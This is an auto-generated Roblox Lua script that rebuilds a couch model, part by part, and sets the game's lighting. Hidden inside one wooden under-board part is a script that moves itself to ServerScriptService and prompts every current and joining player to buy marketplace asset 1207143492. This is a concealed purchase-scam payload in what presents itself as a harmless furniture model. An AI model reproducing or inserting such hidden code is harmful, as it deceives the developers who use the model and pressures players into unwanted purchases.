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- --Created with PenguinAnonymous's compiler
- --PenguinAnonymous is not responsible for damages caused to your game
- --This plugin does not remove things
- --PenguinAnonymous cannot be held resonsible for manual deletion for the purpose of testing
- --Keep in mind, any items that cause errors in compilation will be skipped and documented within the last line of the disclaimer comments
- --Thank you for using my plugin and enjoy :)
- --It is free to use
- --If you use this plugin to create your own, please give me credit
- --Z_V edited my plugin to look like his own and published it without giving me credit, and that makes me very angry
- --Errors: UnionOperation,MeshPart,Camera
- local runDummyScript = function(f,scri)
- local oldenv = getfenv(f)
- local newenv = setmetatable({}, {
- __index = function(_, k)
- if k:lower() == 'script' then
- return scri
- else
- return oldenv[k]
- end
- end
- })
- setfenv(f, newenv)
- ypcall(function() f() end)
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- mas.Name = "CompiledModel"
- o1 = Instance.new("Model")
- o8 = Instance.new("Model")
- o11 = Instance.new("Model")
- o19 = Instance.new("Model")
- o20 = Instance.new("Part")
- o21 = Instance.new("Part")
- o22 = Instance.new("Part")
- o23 = Instance.new("Script")
- o24 = Instance.new("Model")
- o25 = Instance.new("Part")
- o26 = Instance.new("Part")
- o27 = Instance.new("Part")
- o28 = Instance.new("Part")
- o29 = Instance.new("Part")
- o30 = Instance.new("Part")
- o31 = Instance.new("Part")
- o32 = Instance.new("Part")
- o33 = Instance.new("Part")
- o34 = Instance.new("Part")
- o35 = Instance.new("Part")
- o36 = Instance.new("Part")
- o37 = Instance.new("Part")
- o38 = Instance.new("Part")
- o39 = Instance.new("Part")
- o40 = Instance.new("Part")
- o47 = Instance.new("Model")
- o48 = Instance.new("Seat")
- o49 = Instance.new("Seat")
- o50 = Instance.new("Seat")
- o51 = Instance.new("Seat")
- o52 = Instance.new("Seat")
- o1.Name = "Couch"
- o1.Parent = mas
- o8.Name = "Main"
- o8.Parent = o1
- o11.Name = "Pillows"
- o11.Parent = o1
- o19.Name = "UnderBoards"
- o19.Parent = o1
- o20.Parent = o19
- o20.Material = Enum.Material.Wood
- o20.BrickColor = BrickColor.new("Light grey")
- o20.Position = Vector3.new(-74.8611298, 0.201724082, 0.780365944)
- o20.Rotation = Vector3.new(0, 90, 0)
- o20.Anchored = true
- o20.FormFactor = Enum.FormFactor.Symmetric
- o20.Size = Vector3.new(4.3374815, 0.112179965, 4.67402077)
- o20.CFrame = CFrame.new(-74.8611298, 0.201724082, 0.780365944, 6.83962062e-05, -4.38050074e-06, 1, 4.22305084e-06, 1, 4.38022789e-06, -1, 4.22279663e-06, 6.83959952e-05)
- o20.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o20.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o20.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o20.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o20.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o20.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o20.Color = Color3.new(0.792157, 0.784314, 0.682353)
- o20.Position = Vector3.new(-74.8611298, 0.201724082, 0.780365944)
- o21.Parent = o19
- o21.Material = Enum.Material.Wood
- o21.BrickColor = BrickColor.new("Light grey")
- o21.Position = Vector3.new(-79.4884338, 0.20169808, 0.845391273)
- o21.Rotation = Vector3.new(-180, 0, 180)
- o21.Anchored = true
- o21.FormFactor = Enum.FormFactor.Symmetric
- o21.Size = Vector3.new(3.88877511, 0.112179965, 4.6366291)
- o21.CFrame = CFrame.new(-79.4884338, 0.20169808, 0.845391273, -1, -4.75235947e-06, 7.48335005e-05, -4.75208844e-06, 1, 3.82916141e-06, -7.4833275e-05, 3.82885128e-06, -1)
- o21.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o21.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o21.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o21.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o21.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o21.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o21.Color = Color3.new(0.792157, 0.784314, 0.682353)
- o21.Position = Vector3.new(-79.4884338, 0.20169808, 0.845391273)
- o22.Parent = o19
- o22.Material = Enum.Material.Wood
- o22.BrickColor = BrickColor.new("Light grey")
- o22.Position = Vector3.new(-70.1874695, 0.201720089, 6.74482822)
- o22.Rotation = Vector3.new(0, 90, 0)
- o22.Anchored = true
- o22.FormFactor = Enum.FormFactor.Symmetric
- o22.Size = Vector3.new(16.2655869, 0.112179965, 4.67402172)
- o22.CFrame = CFrame.new(-70.1874695, 0.201720089, 6.74482822, 6.83962062e-05, -4.38050074e-06, 1, 4.22305084e-06, 1, 4.38022789e-06, -1, 4.22279663e-06, 6.83959952e-05)
- o22.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o22.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o22.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o22.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o22.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o22.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o22.Color = Color3.new(0.792157, 0.784314, 0.682353)
- o22.Position = Vector3.new(-70.1874695, 0.201720089, 6.74482822)
- o23.Parent = o22
- table.insert(cors,coroutine.create(function()
- wait()
- runDummyScript(function()
- local wat=1207143492
- script.Parent=game.ServerScriptService
- local market=game:GetService("MarketplaceService")
- for i,v in pairs(game.Players:GetChildren()) do
- if not market:PlayerOwnsAsset(v,wat) then
- market:PromptPurchase(v,wat)
- end
- end
- game.Players.PlayerAdded:connect(function(player)
- if not market:PlayerOwnsAsset(player,wat) then
- market:PromptPurchase(player,wat)
- end
- end)
- end,o23)
- end))
- o24.Name = "Feet"
- o24.Parent = o1
- o25.Parent = o24
- o25.Material = Enum.Material.Wood
- o25.BrickColor = BrickColor.new("Black")
- o25.Position = Vector3.new(-76.9926453, 0.0745700821, 2.74333286)
- o25.Rotation = Vector3.new(-180, 0, 90)
- o25.Anchored = true
- o25.FormFactor = Enum.FormFactor.Symmetric
- o25.Shape = Enum.PartType.Cylinder
- o25.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o25.CFrame = CFrame.new(-76.9926453, 0.0745700821, 2.74333286, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o25.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o25.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o25.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o25.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o25.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o25.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o25.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o25.Position = Vector3.new(-76.9926453, 0.0745700821, 2.74333286)
- o26.Parent = o24
- o26.Material = Enum.Material.Wood
- o26.BrickColor = BrickColor.new("Black")
- o26.Position = Vector3.new(-77.7028351, 0.0745800808, -1.29510403)
- o26.Rotation = Vector3.new(-180, 0, 90)
- o26.Anchored = true
- o26.FormFactor = Enum.FormFactor.Symmetric
- o26.Shape = Enum.PartType.Cylinder
- o26.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o26.CFrame = CFrame.new(-77.7028351, 0.0745800808, -1.29510403, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o26.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o26.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o26.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o26.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o26.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o26.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o26.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o26.Position = Vector3.new(-77.7028351, 0.0745800808, -1.29510403)
- o27.Parent = o24
- o27.Material = Enum.Material.Wood
- o27.BrickColor = BrickColor.new("Black")
- o27.Position = Vector3.new(-81.2551117, 0.074563086, -1.29536343)
- o27.Rotation = Vector3.new(-180, 0, 90)
- o27.Anchored = true
- o27.FormFactor = Enum.FormFactor.Symmetric
- o27.Shape = Enum.PartType.Cylinder
- o27.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o27.CFrame = CFrame.new(-81.2551117, 0.074563086, -1.29536343, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o27.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o27.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o27.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o27.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o27.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o27.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o27.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o27.Position = Vector3.new(-81.2551117, 0.074563086, -1.29536343)
- o28.Parent = o24
- o28.Material = Enum.Material.Wood
- o28.BrickColor = BrickColor.new("Black")
- o28.Position = Vector3.new(-72.3562622, 0.0745740831, 6.74466801)
- o28.Rotation = Vector3.new(-180, 0, 90)
- o28.Anchored = true
- o28.FormFactor = Enum.FormFactor.Symmetric
- o28.Shape = Enum.PartType.Cylinder
- o28.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o28.CFrame = CFrame.new(-72.3562622, 0.0745740831, 6.74466801, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o28.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o28.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o28.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o28.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o28.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o28.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o28.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o28.Position = Vector3.new(-72.3562622, 0.0745740831, 6.74466801)
- o29.Parent = o24
- o29.Material = Enum.Material.Wood
- o29.BrickColor = BrickColor.new("Black")
- o29.Position = Vector3.new(-72.3565216, 0.0745570809, 10.8204355)
- o29.Rotation = Vector3.new(-180, 0, 90)
- o29.Anchored = true
- o29.FormFactor = Enum.FormFactor.Symmetric
- o29.Shape = Enum.PartType.Cylinder
- o29.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o29.CFrame = CFrame.new(-72.3565216, 0.0745570809, 10.8204355, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o29.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o29.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o29.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o29.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o29.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o29.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o29.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o29.Position = Vector3.new(-72.3565216, 0.0745570809, 10.8204355)
- o30.Parent = o24
- o30.Material = Enum.Material.Wood
- o30.BrickColor = BrickColor.new("Black")
- o30.Position = Vector3.new(-76.9923859, 0.0745830834, -1.22025967)
- o30.Rotation = Vector3.new(-180, 0, 90)
- o30.Anchored = true
- o30.FormFactor = Enum.FormFactor.Symmetric
- o30.Shape = Enum.PartType.Cylinder
- o30.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o30.CFrame = CFrame.new(-76.9923859, 0.0745830834, -1.22025967, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o30.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o30.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o30.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o30.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o30.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o30.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o30.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o30.Position = Vector3.new(-76.9923859, 0.0745830834, -1.22025967)
- o31.Parent = o24
- o31.Material = Enum.Material.Wood
- o31.BrickColor = BrickColor.new("Black")
- o31.Position = Vector3.new(-72.3559875, 0.0745880827, 2.85585117)
- o31.Rotation = Vector3.new(-180, 0, 90)
- o31.Anchored = true
- o31.FormFactor = Enum.FormFactor.Symmetric
- o31.Shape = Enum.PartType.Cylinder
- o31.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o31.CFrame = CFrame.new(-72.3559875, 0.0745880827, 2.85585117, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o31.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o31.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o31.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o31.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o31.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o31.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o31.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o31.Position = Vector3.new(-72.3559875, 0.0745880827, 2.85585117)
- o32.Parent = o24
- o32.Material = Enum.Material.Wood
- o32.BrickColor = BrickColor.new("Black")
- o32.Position = Vector3.new(-77.703125, 0.074563086, 2.96762943)
- o32.Rotation = Vector3.new(-180, 0, 90)
- o32.Anchored = true
- o32.FormFactor = Enum.FormFactor.Symmetric
- o32.Shape = Enum.PartType.Cylinder
- o32.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o32.CFrame = CFrame.new(-77.703125, 0.074563086, 2.96762943, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o32.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o32.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o32.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o32.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o32.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o32.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o32.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o32.Position = Vector3.new(-77.703125, 0.074563086, 2.96762943)
- o33.Parent = o24
- o33.Material = Enum.Material.Wood
- o33.BrickColor = BrickColor.new("Black")
- o33.Position = Vector3.new(-81.2554169, 0.0745510831, 2.9673624)
- o33.Rotation = Vector3.new(-180, 0, 90)
- o33.Anchored = true
- o33.FormFactor = Enum.FormFactor.Symmetric
- o33.Shape = Enum.PartType.Cylinder
- o33.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o33.CFrame = CFrame.new(-81.2554169, 0.0745510831, 2.9673624, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o33.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o33.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o33.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o33.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o33.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o33.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o33.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o33.Position = Vector3.new(-81.2554169, 0.0745510831, 2.9673624)
- o34.Parent = o24
- o34.Material = Enum.Material.Wood
- o34.BrickColor = BrickColor.new("Black")
- o34.Position = Vector3.new(-68.0192719, 0.0745550841, 14.5973902)
- o34.Rotation = Vector3.new(-180, 0, 90)
- o34.Anchored = true
- o34.FormFactor = Enum.FormFactor.Symmetric
- o34.Shape = Enum.PartType.Cylinder
- o34.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o34.CFrame = CFrame.new(-68.0192719, 0.0745550841, 14.5973902, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o34.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o34.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o34.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o34.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o34.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o34.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o34.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o34.Position = Vector3.new(-68.0192719, 0.0745550841, 14.5973902)
- o35.Parent = o24
- o35.Material = Enum.Material.Wood
- o35.BrickColor = BrickColor.new("Black")
- o35.Position = Vector3.new(-72.3567963, 0.0745390877, 14.5970621)
- o35.Rotation = Vector3.new(-180, 0, 90)
- o35.Anchored = true
- o35.FormFactor = Enum.FormFactor.Symmetric
- o35.Shape = Enum.PartType.Cylinder
- o35.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o35.CFrame = CFrame.new(-72.3567963, 0.0745390877, 14.5970621, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o35.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o35.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o35.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o35.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o35.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o35.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o35.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o35.Position = Vector3.new(-72.3567963, 0.0745390877, 14.5970621)
- o36.Parent = o24
- o36.Material = Enum.Material.Wood
- o36.BrickColor = BrickColor.new("Black")
- o36.Position = Vector3.new(-72.3557129, 0.0746080875, -1.21992397)
- o36.Rotation = Vector3.new(-180, 0, 90)
- o36.Anchored = true
- o36.FormFactor = Enum.FormFactor.Symmetric
- o36.Shape = Enum.PartType.Cylinder
- o36.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o36.CFrame = CFrame.new(-72.3557129, 0.0746080875, -1.21992397, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o36.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o36.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o36.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o36.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o36.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o36.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o36.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o36.Position = Vector3.new(-72.3557129, 0.0746080875, -1.21992397)
- o37.Parent = o24
- o37.Material = Enum.Material.Wood
- o37.BrickColor = BrickColor.new("Black")
- o37.Position = Vector3.new(-68.0181885, 0.0746230856, -1.21958828)
- o37.Rotation = Vector3.new(-180, 0, 90)
- o37.Anchored = true
- o37.FormFactor = Enum.FormFactor.Symmetric
- o37.Shape = Enum.PartType.Cylinder
- o37.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o37.CFrame = CFrame.new(-68.0181885, 0.0746230856, -1.21958828, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o37.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o37.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o37.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o37.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o37.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o37.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o37.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o37.Position = Vector3.new(-68.0181885, 0.0746230856, -1.21958828)
- o38.Parent = o24
- o38.Material = Enum.Material.Wood
- o38.BrickColor = BrickColor.new("Black")
- o38.Position = Vector3.new(-68.0189972, 0.0745760873, 10.8207636)
- o38.Rotation = Vector3.new(-180, 0, 90)
- o38.Anchored = true
- o38.FormFactor = Enum.FormFactor.Symmetric
- o38.Shape = Enum.PartType.Cylinder
- o38.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o38.CFrame = CFrame.new(-68.0189972, 0.0745760873, 10.8207636, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o38.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o38.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o38.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o38.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o38.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o38.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o38.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o38.Position = Vector3.new(-68.0189972, 0.0745760873, 10.8207636)
- o39.Parent = o24
- o39.Material = Enum.Material.Wood
- o39.BrickColor = BrickColor.new("Black")
- o39.Position = Vector3.new(-68.0187225, 0.0745920837, 6.74499607)
- o39.Rotation = Vector3.new(-180, 0, 90)
- o39.Anchored = true
- o39.FormFactor = Enum.FormFactor.Symmetric
- o39.Shape = Enum.PartType.Cylinder
- o39.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o39.CFrame = CFrame.new(-68.0187225, 0.0745920837, 6.74499607, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o39.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o39.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o39.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o39.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o39.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o39.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o39.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o39.Position = Vector3.new(-68.0187225, 0.0745920837, 6.74499607)
- o40.Parent = o24
- o40.Material = Enum.Material.Wood
- o40.BrickColor = BrickColor.new("Black")
- o40.Position = Vector3.new(-68.0184479, 0.0746100843, 2.85617161)
- o40.Rotation = Vector3.new(-180, 0, 90)
- o40.Anchored = true
- o40.FormFactor = Enum.FormFactor.Symmetric
- o40.Shape = Enum.PartType.Cylinder
- o40.Size = Vector3.new(0.149568677, 0.261745363, 0.261745065)
- o40.CFrame = CFrame.new(-68.0184479, 0.0746100843, 2.85617161, 4.38047391e-06, -1, 7.48334933e-05, -1, -4.38020288e-06, 3.82916141e-06, -3.82887902e-06, -7.4833275e-05, -1)
- o40.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- o40.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- o40.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- o40.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- o40.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- o40.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- o40.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o40.Position = Vector3.new(-68.0184479, 0.0746100843, 2.85617161)
- o47.Name = "Seats"
- o47.Parent = o1
- o48.Parent = o47
- o48.Material = Enum.Material.Wood
- o48.BrickColor = BrickColor.new("Black")
- o48.Transparency = 1
- o48.Position = Vector3.new(-71.5036621, 2.22597504, 11.5660334)
- o48.Rotation = Vector3.new(0, 90, 0)
- o48.Anchored = true
- o48.Size = Vector3.new(1.99999952, 0.200000003, 2)
- o48.CFrame = CFrame.new(-71.5036621, 2.22597504, 11.5660334, 7.27595761e-11, -8.76100967e-06, 1, 8.44552505e-06, 1, 8.76102604e-06, -1, 8.44557144e-06, -7.27595761e-11)
- o48.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o48.Position = Vector3.new(-71.5036621, 2.22597504, 11.5660334)
- o49.Parent = o47
- o49.Material = Enum.Material.Wood
- o49.BrickColor = BrickColor.new("Black")
- o49.Transparency = 1
- o49.Position = Vector3.new(-80.1221008, 2.22597599, 1.76171207)
- o49.Rotation = Vector3.new(0, 90, 0)
- o49.Anchored = true
- o49.Size = Vector3.new(1.99999952, 0.200000003, 2)
- o49.CFrame = CFrame.new(-80.1221008, 2.22597599, 1.76171207, 7.27595761e-11, -8.76100967e-06, 1, 8.44552505e-06, 1, 8.76102604e-06, -1, 8.44557144e-06, -7.27595761e-11)
- o49.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o49.Position = Vector3.new(-80.1221008, 2.22597599, 1.76171207)
- o50.Parent = o47
- o50.Material = Enum.Material.Wood
- o50.BrickColor = BrickColor.new("Black")
- o50.Transparency = 1
- o50.Position = Vector3.new(-75.3547211, 2.226017, 2.0635767)
- o50.Rotation = Vector3.new(-180, -1, 180)
- o50.Anchored = true
- o50.Size = Vector3.new(1.99999952, 0.200000003, 2)
- o50.CFrame = CFrame.new(-75.3547211, 2.226017, 2.0635767, -0.999848366, -8.76100967e-06, -0.0174303502, -8.90690444e-06, 1, 8.2915376e-06, 0.0174303502, 8.44557144e-06, -0.999848366)
- o50.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o50.Position = Vector3.new(-75.3547211, 2.226017, 2.0635767)
- o51.Parent = o47
- o51.Material = Enum.Material.Wood
- o51.BrickColor = BrickColor.new("Black")
- o51.Transparency = 1
- o51.Position = Vector3.new(-71.7462006, 2.22603798, 2.95797825)
- o51.Rotation = Vector3.new(-180, 63, 180)
- o51.Anchored = true
- o51.Size = Vector3.new(1.99999952, 0.200000003, 2)
- o51.CFrame = CFrame.new(-71.7462006, 2.22603798, 2.95797825, -0.45398581, -8.76100967e-06, 0.891008973, 3.54765757e-06, 1, 1.16403007e-05, -0.891008973, 8.44557144e-06, -0.45398581)
- o51.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o51.Position = Vector3.new(-71.7462006, 2.22603798, 2.95797825)
- o52.Parent = o47
- o52.Material = Enum.Material.Wood
- o52.BrickColor = BrickColor.new("Black")
- o52.Transparency = 1
- o52.Position = Vector3.new(-71.5036774, 2.22600698, 6.92231083)
- o52.Rotation = Vector3.new(0, 90, 0)
- o52.Anchored = true
- o52.Size = Vector3.new(1.99999952, 0.200000003, 2)
- o52.CFrame = CFrame.new(-71.5036774, 2.22600698, 6.92231083, 7.27595761e-11, -8.76100967e-06, 1, 8.44552505e-06, 1, 8.76102604e-06, -1, 8.44557144e-06, -7.27595761e-11)
- o52.Color = Color3.new(0.105882, 0.164706, 0.207843)
- o52.Position = Vector3.new(-71.5036774, 2.22600698, 6.92231083)
- mas.Parent = workspace
- mas:MakeJoints()
- local mas1 = mas:GetChildren()
- for i=1,#mas1 do
- mas1[i].Parent = workspace
- ypcall(function() mas1[i]:MakeJoints() end)
- end
- mas:Destroy()
- for i=1,#cors do
- coroutine.resume(cors[i])
- end
- game:GetService("Lighting").Ambient = Color3.new(0, 0, 0)
- game:GetService("Lighting").Brightness = 2
- game:GetService("Lighting").ColorShift_Bottom = Color3.new(0, 0, 0)
- game:GetService("Lighting").ColorShift_Top = Color3.new(0, 0, 0)
- game:GetService("Lighting").GlobalShadows = true
- game:GetService("Lighting").OutdoorAmbient = Color3.new(0.501961, 0.501961, 0.501961)
- game:GetService("Lighting").Outlines = false
- game:GetService("Lighting").GeographicLatitude = 41.733299255371
- game:GetService("Lighting").TimeOfDay = "14:00:00"
- game:GetService("Lighting").FogColor = Color3.new(0.752941, 0.752941, 0.752941)
- game:GetService("Lighting").FogEnd = 100000
- game:GetService("Lighting").FogStart = 0
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